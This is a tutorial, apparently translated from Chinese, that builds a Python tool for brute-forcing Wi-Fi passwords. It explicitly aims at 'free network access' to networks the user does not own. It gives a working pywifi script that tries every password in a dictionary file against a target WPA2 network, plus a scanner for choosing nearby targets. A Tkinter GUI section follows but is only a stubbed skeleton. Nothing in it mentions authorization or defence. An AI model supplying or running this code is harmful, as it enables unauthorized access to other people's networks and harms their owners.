Can You Crack WiFi Passwords with Python? A Step‑by‑Step Guide

Introduction

This article records how to use a Python script to perform a brute‑force attack on Wi‑Fi passwords, enabling free network access.

Command‑line version

The initial script uses the pywifi library to connect to a target SSID, reads passwords from a text file, and attempts each password until a successful connection is reported.

import pywifi
from pywifi import const
import time
import datetime

def wifiConnect(pwd):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = "Tr0e"
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        ifaces.remove_all_network_profiles()
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        time.sleep(2)
        return ifaces.status() == const.IFACE_CONNECTED
    else:
        print("已有wifi连接")

def readPassword():
    path = "pwd.txt"
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        pwd = file.readline().strip('
')
        if not pwd:
            break
        if wifiConnect(pwd):
            print("[*] 密码已破解：", pwd)
            break
    end = datetime.datetime.now()
    print("[*] 用时：", end - start)

if __name__ == "__main__":
    readPassword()

Script optimization

The original script hard‑codes the SSID and dictionary path. The improved version adds a Wi‑Fi scanner that lists nearby networks by signal strength, lets the user select a target, and accepts a custom dictionary file.

import pywifi
import time
from pywifi import const

def wifi_scan():
    wifi = pywifi.PyWiFi()
    interface = wifi.interfaces()[0]
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r扫描可用 WiFi 中，请稍后…（' + str(3 - i) + '）', end='')
    print('\r扫描完成！')
    bss = interface.scan_results()
    wifi_set = set()
    for w in bss:
        wifi_set.add((100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')))
    wifi_list = sorted(list(wifi_set), key=lambda x: x[0], reverse=True)
    for idx, (sig, name) in enumerate(wifi_list):
        print(f"{idx:<6}{sig:<8}{name}")
    return wifi_list

Graphical user interface

A Tkinter‑based GUI is built to make the tool more user‑friendly. A simple UI provides fields for the Wi‑Fi name and password file, while an upgraded UI adds a network list, file‑dialog for the dictionary, and real‑time status messages.

from tkinter import *
import pywifi
from pywifi import const
import time

class MY_GUI:
    def __init__(self, root):
        self.root = root
        self.root.title('WiFi破解工具')
        self.root.geometry('500x400')
        # UI elements omitted for brevity

    def wifi_scan(self):
        # scanning logic similar to the CLI version
        pass

    def readPassWord(self):
        # password‑cracking logic using selected SSID and dictionary
        pass

if __name__ == '__main__':
    root = Tk()
    app = MY_GUI(root)
    root.mainloop()

Conclusion

The tutorial demonstrates both CLI and GUI approaches to Wi‑Fi password brute‑forcing with Python, notes the lack of multithreading, and suggests that adding threads could reduce the waiting time during connection attempts.